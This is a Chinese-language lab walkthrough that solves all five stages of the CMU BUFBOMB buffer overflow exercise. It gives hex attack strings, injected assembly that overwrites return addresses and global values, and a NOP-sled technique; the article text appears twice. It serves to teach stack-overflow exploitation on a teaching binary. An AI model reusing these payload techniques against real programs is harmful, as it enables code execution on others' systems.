逆向工程实战从零攻破CMU缓冲区溢出实验的五重关卡在计算机安全领域缓冲区溢出攻击是最经典也最具教育意义的漏洞类型之一。CMU的BUFBOMB实验作为《计算机组成原理》课程的经典实践项目通过五个渐进式挑战Smoke到Nitro带领学习者深入理解IA-32架构下的栈帧结构和函数调用机制。本文将使用GDB和objdump这对黄金组合配合hex2raw工具带你一步步破解全部五个关卡。1. 实验环境搭建与工具准备首先需要配置适合的实验环境。推荐使用Ubuntu 20.04 LTS作为基础系统确保已安装以下工具包sudo apt update sudo apt install -y gcc-multilib gdb build-essential关键工具链说明GDB带增强功能的调试器建议安装PEDA插件增强逆向分析能力objdump反汇编工具用于静态分析可执行文件hex2raw实验配套工具将十六进制格式的攻击字符串转换为原始二进制数据实验文件结构应如下组织buflab/ ├── bufbomb # 目标可执行程序 ├── makecookie # 生成用户cookie的工具 └── hex2raw # 攻击字符串转换工具验证环境是否正常工作chmod x bufbomb makecookie hex2raw ./makecookie your_student_id2. 逆向分析基础理解目标程序结构使用objdump生成反汇编代码是分析的第一步objdump -d bufbomb bufbomb.asm打开生成的汇编文件重点关注几个关键函数getbuf存在缓冲区漏洞的函数test调用getbuf的测试函数smoke/fizz/bang/boom各阶段的目标函数典型的函数调用栈帧结构如下高地址 ----------------- | 返回地址 | ----------------- | 保存的ebp | -- ebp ----------------- | 局部变量 | | ... | | 缓冲区空间 | ----------------- 低地址通过GDB可以动态观察栈状态gdb bufbomb (gdb) break getbuf (gdb) run -u your_student_id (gdb) x/32xw $esp # 查看栈内存3. 阶段一Smoke攻击实战Smoke是最基础的缓冲区溢出攻击目标是通过溢出改变返回地址使程序跳转到smoke函数而非正常返回。3.1 确定关键地址首先在反汇编代码中找到smoke函数的地址grep -A 10 smoke: bufbomb.asm假设输出显示smoke地址为0x08048c18。3.2 分析缓冲区结构在getbuf函数中查找缓冲区大小080491f4 getbuf: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 50 push %eax 80491fe: e8 8d fa ff ff call 8048c90 Gets 8049203: b8 01 00 00 00 mov $0x1,%eax 8049208: c9 leave 8049209: c3 ret这里lea -0x28(%ebp)表明缓冲区起始于ebp-0x28大小为40字节0x28。3.3 构造攻击字符串攻击字符串结构[40字节填充] [4字节保存的ebp] [4字节smoke地址]创建attack1.txt00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08转换为二进制并执行cat attack1.txt | ./hex2raw | ./bufbomb -u your_student_id4. 阶段二Fizz攻击进阶Fizz阶段需要在跳转的同时传递正确的cookie参数。4.1 定位fizz函数grep -A 15 fizz: bufbomb.asm假设fizz地址为0x08048c42其参数位于ebp8。4.2 获取个人cookie./makecookie your_student_id假设输出为0x1d228b91。4.3 构造带参数的攻击字符串攻击字符串结构[40字节填充] [4字节保存的ebp] [4字节fizz地址] [4字节返回地址] [4字节cookie]创建attack2.txt00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 91 8b 22 1d5. 阶段三Bang与代码注入Bang阶段需要注入可执行代码来修改全局变量。5.1 确定全局变量地址使用GDB查找global_value的地址(gdb) p global_value $1 (data variable, no debug info *) 0x804d1005.2 编写注入代码创建bang_qbw.s汇编文件movl $0x1d228b91, 0x804d100 # 设置global_value push $0x8048c9d # 压入bang地址 ret # 跳转到bang编译并提取机器码gcc -m32 -c bang_qbw.s objdump -d bang_qbw.o5.3 确定代码注入位置在getbuf中设置断点查看缓冲区地址(gdb) break *0x80491fa (gdb) run -u your_student_id (gdb) p/x $ebp-0x28 $2 0x55683dc85.4 构造最终攻击字符串[注入代码] [填充至40字节] [4字节保存的ebp] [4字节代码起始地址]6. 阶段四Boom与栈帧修复Boom阶段需要让getbuf返回cookie值并正确返回到test。6.1 确定test的返回点在反汇编中查找test调用getbuf后的地址8048db9: e8 36 fc ff ff call 80491f4 getbuf 8048dbe: 89 c3 mov %eax,%ebx # 目标返回点6.2 编写注入代码注入代码需要将cookie存入eax恢复正确的ebp值返回到test中的指定地址汇编代码mov $0x1d228b91, %eax # 设置返回值 push $0x8048dbe # 压入返回地址 ret6.3 动态获取栈信息在getbuf返回前查看ebp值(gdb) break *0x8049208 (gdb) run -u your_student_id (gdb) p/x $ebp $3 0x556836987. 阶段五Nitro与地址随机化对抗Nitro阶段面临栈地址随机化的挑战需要使用NOP雪橇技术。7.1 分析getbufn的栈结构getbufn使用大缓冲区且每次栈位置不同sub $0x208,%esp # 520字节缓冲区 lea -0x200(%ebp),%eax # 缓冲区起始地址7.2 确定NOP雪橇范围通过多次运行获取ebp的可能范围for i in {1..10}; do gdb -batch -ex break getbufn -ex run -n -u your_student_id -ex p/x \$ebp bufbomb done假设观察到ebp在0x55683400到0x55683600之间变化。7.3 构造自适应攻击字符串攻击字符串结构[NOP雪橇] [注入代码] [重复的返回地址]其中返回地址应指向雪橇中间的某个位置如0x55683500。注入代码需要恢复正确的栈帧关系设置cookie返回值正确返回到testn汇编代码lea 0x28(%esp), %ebp # 动态计算原始ebp mov $0x1d228b91, %eax push $0x8048e3a ret8. 调试技巧与常见问题解决8.1 GDB实用命令速查命令描述x/10i $eip查看当前指令附近的反汇编x/32xw $esp以16进制查看栈内容info frame查看当前栈帧信息watch *0x804d100监视全局变量变化8.2 常见错误排查段错误(SEGFAULT)检查返回地址是否有效确认注入代码没有错误指令攻击无效使用xxd检查生成的二进制文件在GDB中单步跟踪执行流程hex2raw问题确保文本文件使用Unix换行符(LF)检查是否有空格以外的非法字符8.3 自动化测试脚本创建测试脚本run_attack.sh#!/bin/bash for i in {1..5}; do echo Testing attack$i.txt... cat attack$i.txt | ./hex2raw | ./bufbomb -u your_student_id echo done9. 扩展思考与安全启示通过这五个阶段的实践我们不仅掌握了缓冲区溢出攻击的技术细节更应该理解其背后的安全启示边界检查的重要性所有内存操作都应进行严格的边界检查非执行位(NX)的保护作用现代系统使用NX位防止栈上代码执行地址随机化(ASLR)的缓解效果Nitro阶段展示了ASLR如何增加攻击难度编译期防护措施如栈保护器(stack canary)的原理和绕过方法这些实验虽然是在教学环境中设计的但真实世界中的漏洞利用原理与此相通。理解攻击手段是构建有效防御的基础这也是CMU设计这些实验的深层目的。
手把手教你用GDB和objdump破解CMU的BUFBOMB实验(含5个阶段完整攻击Payload)
逆向工程实战从零攻破CMU缓冲区溢出实验的五重关卡在计算机安全领域缓冲区溢出攻击是最经典也最具教育意义的漏洞类型之一。CMU的BUFBOMB实验作为《计算机组成原理》课程的经典实践项目通过五个渐进式挑战Smoke到Nitro带领学习者深入理解IA-32架构下的栈帧结构和函数调用机制。本文将使用GDB和objdump这对黄金组合配合hex2raw工具带你一步步破解全部五个关卡。1. 实验环境搭建与工具准备首先需要配置适合的实验环境。推荐使用Ubuntu 20.04 LTS作为基础系统确保已安装以下工具包sudo apt update sudo apt install -y gcc-multilib gdb build-essential关键工具链说明GDB带增强功能的调试器建议安装PEDA插件增强逆向分析能力objdump反汇编工具用于静态分析可执行文件hex2raw实验配套工具将十六进制格式的攻击字符串转换为原始二进制数据实验文件结构应如下组织buflab/ ├── bufbomb # 目标可执行程序 ├── makecookie # 生成用户cookie的工具 └── hex2raw # 攻击字符串转换工具验证环境是否正常工作chmod x bufbomb makecookie hex2raw ./makecookie your_student_id2. 逆向分析基础理解目标程序结构使用objdump生成反汇编代码是分析的第一步objdump -d bufbomb bufbomb.asm打开生成的汇编文件重点关注几个关键函数getbuf存在缓冲区漏洞的函数test调用getbuf的测试函数smoke/fizz/bang/boom各阶段的目标函数典型的函数调用栈帧结构如下高地址 ----------------- | 返回地址 | ----------------- | 保存的ebp | -- ebp ----------------- | 局部变量 | | ... | | 缓冲区空间 | ----------------- 低地址通过GDB可以动态观察栈状态gdb bufbomb (gdb) break getbuf (gdb) run -u your_student_id (gdb) x/32xw $esp # 查看栈内存3. 阶段一Smoke攻击实战Smoke是最基础的缓冲区溢出攻击目标是通过溢出改变返回地址使程序跳转到smoke函数而非正常返回。3.1 确定关键地址首先在反汇编代码中找到smoke函数的地址grep -A 10 smoke: bufbomb.asm假设输出显示smoke地址为0x08048c18。3.2 分析缓冲区结构在getbuf函数中查找缓冲区大小080491f4 getbuf: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 50 push %eax 80491fe: e8 8d fa ff ff call 8048c90 Gets 8049203: b8 01 00 00 00 mov $0x1,%eax 8049208: c9 leave 8049209: c3 ret这里lea -0x28(%ebp)表明缓冲区起始于ebp-0x28大小为40字节0x28。3.3 构造攻击字符串攻击字符串结构[40字节填充] [4字节保存的ebp] [4字节smoke地址]创建attack1.txt00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08转换为二进制并执行cat attack1.txt | ./hex2raw | ./bufbomb -u your_student_id4. 阶段二Fizz攻击进阶Fizz阶段需要在跳转的同时传递正确的cookie参数。4.1 定位fizz函数grep -A 15 fizz: bufbomb.asm假设fizz地址为0x08048c42其参数位于ebp8。4.2 获取个人cookie./makecookie your_student_id假设输出为0x1d228b91。4.3 构造带参数的攻击字符串攻击字符串结构[40字节填充] [4字节保存的ebp] [4字节fizz地址] [4字节返回地址] [4字节cookie]创建attack2.txt00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 91 8b 22 1d5. 阶段三Bang与代码注入Bang阶段需要注入可执行代码来修改全局变量。5.1 确定全局变量地址使用GDB查找global_value的地址(gdb) p global_value $1 (data variable, no debug info *) 0x804d1005.2 编写注入代码创建bang_qbw.s汇编文件movl $0x1d228b91, 0x804d100 # 设置global_value push $0x8048c9d # 压入bang地址 ret # 跳转到bang编译并提取机器码gcc -m32 -c bang_qbw.s objdump -d bang_qbw.o5.3 确定代码注入位置在getbuf中设置断点查看缓冲区地址(gdb) break *0x80491fa (gdb) run -u your_student_id (gdb) p/x $ebp-0x28 $2 0x55683dc85.4 构造最终攻击字符串[注入代码] [填充至40字节] [4字节保存的ebp] [4字节代码起始地址]6. 阶段四Boom与栈帧修复Boom阶段需要让getbuf返回cookie值并正确返回到test。6.1 确定test的返回点在反汇编中查找test调用getbuf后的地址8048db9: e8 36 fc ff ff call 80491f4 getbuf 8048dbe: 89 c3 mov %eax,%ebx # 目标返回点6.2 编写注入代码注入代码需要将cookie存入eax恢复正确的ebp值返回到test中的指定地址汇编代码mov $0x1d228b91, %eax # 设置返回值 push $0x8048dbe # 压入返回地址 ret6.3 动态获取栈信息在getbuf返回前查看ebp值(gdb) break *0x8049208 (gdb) run -u your_student_id (gdb) p/x $ebp $3 0x556836987. 阶段五Nitro与地址随机化对抗Nitro阶段面临栈地址随机化的挑战需要使用NOP雪橇技术。7.1 分析getbufn的栈结构getbufn使用大缓冲区且每次栈位置不同sub $0x208,%esp # 520字节缓冲区 lea -0x200(%ebp),%eax # 缓冲区起始地址7.2 确定NOP雪橇范围通过多次运行获取ebp的可能范围for i in {1..10}; do gdb -batch -ex break getbufn -ex run -n -u your_student_id -ex p/x \$ebp bufbomb done假设观察到ebp在0x55683400到0x55683600之间变化。7.3 构造自适应攻击字符串攻击字符串结构[NOP雪橇] [注入代码] [重复的返回地址]其中返回地址应指向雪橇中间的某个位置如0x55683500。注入代码需要恢复正确的栈帧关系设置cookie返回值正确返回到testn汇编代码lea 0x28(%esp), %ebp # 动态计算原始ebp mov $0x1d228b91, %eax push $0x8048e3a ret8. 调试技巧与常见问题解决8.1 GDB实用命令速查命令描述x/10i $eip查看当前指令附近的反汇编x/32xw $esp以16进制查看栈内容info frame查看当前栈帧信息watch *0x804d100监视全局变量变化8.2 常见错误排查段错误(SEGFAULT)检查返回地址是否有效确认注入代码没有错误指令攻击无效使用xxd检查生成的二进制文件在GDB中单步跟踪执行流程hex2raw问题确保文本文件使用Unix换行符(LF)检查是否有空格以外的非法字符8.3 自动化测试脚本创建测试脚本run_attack.sh#!/bin/bash for i in {1..5}; do echo Testing attack$i.txt... cat attack$i.txt | ./hex2raw | ./bufbomb -u your_student_id echo done9. 扩展思考与安全启示通过这五个阶段的实践我们不仅掌握了缓冲区溢出攻击的技术细节更应该理解其背后的安全启示边界检查的重要性所有内存操作都应进行严格的边界检查非执行位(NX)的保护作用现代系统使用NX位防止栈上代码执行地址随机化(ASLR)的缓解效果Nitro阶段展示了ASLR如何增加攻击难度编译期防护措施如栈保护器(stack canary)的原理和绕过方法这些实验虽然是在教学环境中设计的但真实世界中的漏洞利用原理与此相通。理解攻击手段是构建有效防御的基础这也是CMU设计这些实验的深层目的。